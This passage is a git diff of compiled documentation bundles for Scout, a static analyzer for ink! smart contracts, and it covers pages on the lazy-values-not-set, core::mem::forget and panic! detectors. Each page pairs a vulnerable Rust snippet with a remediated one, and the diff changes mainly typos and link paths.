m(e){let{components:t,...n}=e;return(0,r.kt)(c,(0,a.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-values-not-set"},"Lazy values not set"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Best Practices")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/lazy-values-not-set/"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-values-not-set"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-values-not-set/lazy-values-not-set-1"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-values-not-set-1")))),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following contract:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n mapping: Mapping,\n }\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn sum(&mut self, value: u64) -> Result<(), Error> {\n let key = self.env().caller();\n let mut _val = self.mapping.get(key).unwrap_or_default();\n _val += value;\n Ok(())\n }\n /* --- snip --- */\n }\n")),(0,r.kt)("p",null,"In this case, when you ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," a value from a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage field, you ",(0,r.kt)("em",{parentName:"p"},"probably")," want to mutate it. The values are not automatically flushed to storage, so you need to ",(0,r.kt)("inlineCode",{parentName:"p"},".set(...)")," it."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"Use the ",(0,r.kt)("inlineCode",{parentName:"p"},".set(...)")," or ",(0,r.kt)("inlineCode",{parentName:"p"},".insert(...)")," method after using ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," to flush the new value to storage."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n mapping: Mapping,\n }\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn sum(&mut self, value: u64) -> Result<(), Error> {\n let key = self.env().caller();\n let mut _val = self.mapping.get(key).unwrap_or_default();\n _val += value;\n self.mapping.insert(key, value);\n Ok(())\n }\n /* --- snip --- */\n }\n")),(0,r.kt)("h2",{id:"known-issues"},"Known Issues"),(0,r.kt)("p",null,"If you have a ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," function that you don't mutate (e.g., used as a const value), this detector triggers, if you want to ignore the lint you could add ",(0,r.kt)("inlineCode",{parentName:"p"},"#[allow(lazy_values_not_set)]")," immediately before the function definition."))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/e1597d36.e22598eb.js b/assets/js/e1597d36.d665eeee.js similarity index 62% rename from assets/js/e1597d36.e22598eb.js rename to assets/js/e1597d36.d665eeee.js index aeda6583..a5948593 100644 --- a/assets/js/e1597d36.e22598eb.js +++ b/assets/js/e1597d36.d665eeee.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1014],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function a(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var c=n.createContext({}),s=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):a(a({},t),e)),r},u=function(e){var t=s(e.components);return n.createElement(c.Provider,{value:t},e.children)},m="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,i=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),m=s(r),d=o,f=m["".concat(c,".").concat(d)]||m[d]||p[d]||i;return r?n.createElement(f,a(a({ref:t},u),{},{components:r})):n.createElement(f,a({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=r.length,a=new Array(i);a[0]=d;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[m]="string"==typeof e?e:o,a[1]=l;for(var s=2;s{r.r(t),r.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>p,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var n=r(2564),o=(r(9496),r(9613));const i={},a="Avoid core::mem::forget usage",l={unversionedId:"vulnerabilities/avoid-core-mem-forget",id:"vulnerabilities/avoid-core-mem-forget",title:"Avoid core::mem::forget usage",description:"Description",source:"@site/docs/vulnerabilities/16-avoid-core-mem-forget.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-core-mem-forget",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/16-avoid-core-mem-forget.md",tags:[],version:"current",sidebarPosition:16,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Assert violation",permalink:"/scout/docs/vulnerabilities/assert-violation"},next:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/vulnerabilities/avoid-format-string"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:s},m="wrapper";function p(e){let{components:t,...r}=e;return(0,o.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"avoid-corememforget-usage"},"Avoid core::mem::forget usage"),(0,o.kt)("h2",{id:"description"},"Description"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,o.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,o.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,o.kt)("inlineCode",{parentName:"li"},"Enhacement")),(0,o.kt)("li",{parentName:"ul"},"Detectors: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-core-mem-forget"},(0,o.kt)("inlineCode",{parentName:"a"},"avoid-core-mem-forget"))),(0,o.kt)("li",{parentName:"ul"},"Test Cases: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-core-mem-forget/avoid-core-mem-forget-1"},(0,o.kt)("inlineCode",{parentName:"a"},"avoid-core-mem-forget-1")))),(0,o.kt)("p",null,"The ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function usage is a bad practice."),(0,o.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,o.kt)("p",null,"Consider the following ",(0,o.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn forget_value(&mut self) {\n let forgotten_value = self.value;\n self.value = false;\n core::mem::forget(forgotten_value);\n }\n")),(0,o.kt)("p",null,"The problem arises from the use of the ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function. This function is used to forget about a value without running its destructor. This is a bad practice because it can lead to memory leaks, resource leaks and logic errors."),(0,o.kt)("p",null,"The vulnerable code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-core-mem-forget/avoid-core-mem-forget-1/vulnerable-example"},(0,o.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,o.kt)("h2",{id:"remediation"},"Remediation"),(0,o.kt)("p",null,"Use the pattern ",(0,o.kt)("inlineCode",{parentName:"p"},"let _ = forgotten_value;")," or the ",(0,o.kt)("inlineCode",{parentName:"p"},".drop()")," method instead of ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget(forgotten_value);"),"."),(0,o.kt)("h2",{id:"references"},"References"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#memory-management"},"Memory Management"))))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1014],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function a(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var c=n.createContext({}),s=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):a(a({},t),e)),r},u=function(e){var t=s(e.components);return n.createElement(c.Provider,{value:t},e.children)},m="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,i=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),m=s(r),d=o,f=m["".concat(c,".").concat(d)]||m[d]||p[d]||i;return r?n.createElement(f,a(a({ref:t},u),{},{components:r})):n.createElement(f,a({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=r.length,a=new Array(i);a[0]=d;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[m]="string"==typeof e?e:o,a[1]=l;for(var s=2;s{r.r(t),r.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>p,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var n=r(2564),o=(r(9496),r(9613));const i={},a="Avoid core::mem::forget usage",l={unversionedId:"vulnerabilities/avoid-core-mem-forget",id:"vulnerabilities/avoid-core-mem-forget",title:"Avoid core::mem::forget usage",description:"Description",source:"@site/docs/vulnerabilities/16-avoid-core-mem-forget.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-core-mem-forget",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/16-avoid-core-mem-forget.md",tags:[],version:"current",sidebarPosition:16,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Assert violation",permalink:"/scout/docs/vulnerabilities/assert-violation"},next:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/vulnerabilities/avoid-format-string"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:s},m="wrapper";function p(e){let{components:t,...r}=e;return(0,o.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"avoid-corememforget-usage"},"Avoid core::mem::forget usage"),(0,o.kt)("h2",{id:"description"},"Description"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,o.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,o.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,o.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,o.kt)("li",{parentName:"ul"},"Detectors: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-core-mem-forget"},(0,o.kt)("inlineCode",{parentName:"a"},"avoid-core-mem-forget"))),(0,o.kt)("li",{parentName:"ul"},"Test Cases: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-core-mem-forget/avoid-core-mem-forget-1"},(0,o.kt)("inlineCode",{parentName:"a"},"avoid-core-mem-forget-1")))),(0,o.kt)("p",null,"The ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function usage is a bad practice."),(0,o.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,o.kt)("p",null,"Consider the following ",(0,o.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn forget_value(&mut self) {\n let forgotten_value = self.value;\n self.value = false;\n core::mem::forget(forgotten_value);\n }\n")),(0,o.kt)("p",null,"The problem arises from the use of the ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function. This function is used to forget about a value without running its destructor. This is a bad practice because it can lead to memory leaks, resource leaks and logic errors."),(0,o.kt)("p",null,"The vulnerable code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-core-mem-forget/avoid-core-mem-forget-1/vulnerable-example"},(0,o.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,o.kt)("h2",{id:"remediation"},"Remediation"),(0,o.kt)("p",null,"Use the pattern ",(0,o.kt)("inlineCode",{parentName:"p"},"let _ = forgotten_value;")," or the ",(0,o.kt)("inlineCode",{parentName:"p"},".drop()")," method instead of ",(0,o.kt)("inlineCode",{parentName:"p"},"core::mem::forget(forgotten_value);"),"."),(0,o.kt)("h2",{id:"references"},"References"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#memory-management"},"Memory Management"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/e5a1bf35.0efcdfb1.js b/assets/js/e5a1bf35.5da93313.js similarity index 78% rename from assets/js/e5a1bf35.0efcdfb1.js rename to assets/js/e5a1bf35.5da93313.js index b63bfc61..9cb74c74 100644 --- a/assets/js/e5a1bf35.0efcdfb1.js +++ b/assets/js/e5a1bf35.5da93313.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5784],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>h});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},p=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,c=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,h=u["".concat(c,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(h,o(o({ref:t},p),{},{components:n})):r.createElement(h,o({ref:t},p))}));function h(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[u]="string"==typeof e?e:a,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const i={},o="Panic Error",l={unversionedId:"vulnerabilities/panic-error",id:"vulnerabilities/panic-error",title:"Panic Error",description:"Description",source:"@site/docs/vulnerabilities/4-panic-error.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/panic-error",permalink:"/scout/docs/vulnerabilities/panic-error",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/4-panic-error.md",tags:[],version:"current",sidebarPosition:4,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy"},next:{title:"Unused return enum",permalink:"/scout/docs/vulnerabilities/unused-return-enum"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"panic-error"},"Panic Error"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Detector ID: ",(0,a.kt)("inlineCode",{parentName:"li"},"panic-error")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,a.kt)("li",{parentName:"ul"},"Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/panic-error"},(0,a.kt)("inlineCode",{parentName:"a"},"panic-error"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/panic-error/panic-error-1"},(0,a.kt)("inlineCode",{parentName:"a"},"panic-error-1")))),(0,a.kt)("p",null,"This detector checks for the use of the ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," macro in the code. The\n",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," macro is used to stop execution when a condition is not met.\nThis is useful for testing and prototyping, but should be avoided in\nproduction code."),(0,a.kt)("p",null,"Using ",(0,a.kt)("inlineCode",{parentName:"p"},"Result")," as return type for functions that can fail is the idiomatic\nway to handle errors in Rust. The ",(0,a.kt)("inlineCode",{parentName:"p"},"Result")," type is an enum that can be either\n",(0,a.kt)("inlineCode",{parentName:"p"},"Ok")," or ",(0,a.kt)("inlineCode",{parentName:"p"},"Err"),". The ",(0,a.kt)("inlineCode",{parentName:"p"},"Err")," variant can contain an error message. The ",(0,a.kt)("inlineCode",{parentName:"p"},"?"),"\noperator can be used to propagate the error message to the caller."),(0,a.kt)("p",null,"This way, the caller can decide how to handle the error, although the state of\nthe contract is always reverted on the callee."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"In the following example, the ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," command is being used to handle errors,\ndisallowing the caller to handle the error in a different way, and completely\nstopping execution of the caller contract."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn add(&mut self, value: u32) {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => panic!("Overflow error"),\n };\n}\n')),(0,a.kt)("p",null,"The ",(0,a.kt)("inlineCode",{parentName:"p"},"add")," function takes a value as an argument and adds it to the value stored\nin the contract's storage. The function first checks if the addition will cause\nan overflow. If the addition will cause an overflow, the function will panic.\nIf the addition will not cause an overflow, the function will add the value to\nthe contract's storage."),(0,a.kt)("p",null,"The usage of ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," in this example, is not recommended because it will stop\nthe execution of the caller contract. If the method was called by the user,\nthen he will receive ",(0,a.kt)("inlineCode",{parentName:"p"},"ContractTrapped")," as the only error message."),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/panic-error/panic-error-1/vulnerable-example/lib.rs"},"here"),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"A possible remediation goes as follows:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u32) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n")),(0,a.kt)("p",null,"And adding the following ",(0,a.kt)("inlineCode",{parentName:"p"},"Error")," enum:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n}\n')),(0,a.kt)("p",null,"By first defining the ",(0,a.kt)("inlineCode",{parentName:"p"},"Error")," enum and then returning a ",(0,a.kt)("inlineCode",{parentName:"p"},"Result<(), Error>"),",\nmore information is added to the caller and, e.g. the caller contract could\ndecide to revert the transaction or to continue execution."),(0,a.kt)("p",null,"The remediated code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/panic-error/panic-error-1/remediated-example/lib.rs"},"here"),"."),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://substrate.stackexchange.com/questions/2391/panic-in-ink-smart-contracts"},"https://substrate.stackexchange.com/questions/2391/panic-in-ink-smart-contracts")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/641"},"https://github.com/paritytech/ink/issues/641"))))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5784],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>h});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},p=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,c=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,h=u["".concat(c,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(h,o(o({ref:t},p),{},{components:n})):r.createElement(h,o({ref:t},p))}));function h(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[u]="string"==typeof e?e:a,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const i={},o="Panic Error",l={unversionedId:"vulnerabilities/panic-error",id:"vulnerabilities/panic-error",title:"Panic Error",description:"Description",source:"@site/docs/vulnerabilities/4-panic-error.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/panic-error",permalink:"/scout/docs/vulnerabilities/panic-error",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/4-panic-error.md",tags:[],version:"current",sidebarPosition:4,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy"},next:{title:"Unused return enum",permalink:"/scout/docs/vulnerabilities/unused-return-enum"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"panic-error"},"Panic Error"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Detector ID: ",(0,a.kt)("inlineCode",{parentName:"li"},"panic-error")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,a.kt)("li",{parentName:"ul"},"Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/panic-error"},(0,a.kt)("inlineCode",{parentName:"a"},"panic-error"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/panic-error/panic-error-1"},(0,a.kt)("inlineCode",{parentName:"a"},"panic-error-1")))),(0,a.kt)("p",null,"This detector checks for the use of the ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," macro in the code. The\n",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," macro is used to stop execution when a condition is not met.\nThis is useful for testing and prototyping, but should be avoided in\nproduction code."),(0,a.kt)("p",null,"Using ",(0,a.kt)("inlineCode",{parentName:"p"},"Result")," as return type for functions that can fail is the idiomatic\nway to handle errors in Rust. The ",(0,a.kt)("inlineCode",{parentName:"p"},"Result")," type is an enum that can be either\n",(0,a.kt)("inlineCode",{parentName:"p"},"Ok")," or ",(0,a.kt)("inlineCode",{parentName:"p"},"Err"),". The ",(0,a.kt)("inlineCode",{parentName:"p"},"Err")," variant can contain an error message. The ",(0,a.kt)("inlineCode",{parentName:"p"},"?"),"\noperator can be used to propagate the error message to the caller."),(0,a.kt)("p",null,"This way, the caller can decide how to handle the error, although the state of\nthe contract is always reverted on the callee."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"In the following example, the ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," command is being used to handle errors,\ndisallowing the caller to handle the error in a different way, and completely\nstopping execution of the caller contract."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn add(&mut self, value: u32) {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => panic!("Overflow error"),\n };\n}\n')),(0,a.kt)("p",null,"The ",(0,a.kt)("inlineCode",{parentName:"p"},"add")," function takes a value as an argument and adds it to the value stored\nin the contract's storage. The function first checks if the addition will cause\nan overflow. If the addition will cause an overflow, the function will panic.\nIf the addition will not cause an overflow, the function will add the value to\nthe contract's storage."),(0,a.kt)("p",null,"The usage of ",(0,a.kt)("inlineCode",{parentName:"p"},"panic!")," in this example, is not recommended because it will stop\nthe execution of the caller contract. If the method was called by the user,\nthen he will receive ",(0,a.kt)("inlineCode",{parentName:"p"},"ContractTrapped")," as the only error message."),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/panic-error/panic-error-1/vulnerable-example/src/lib.rs"},"here"),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"A possible remediation goes as follows:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u32) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n")),(0,a.kt)("p",null,"And adding the following ",(0,a.kt)("inlineCode",{parentName:"p"},"Error")," enum:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n}\n')),(0,a.kt)("p",null,"By first defining the 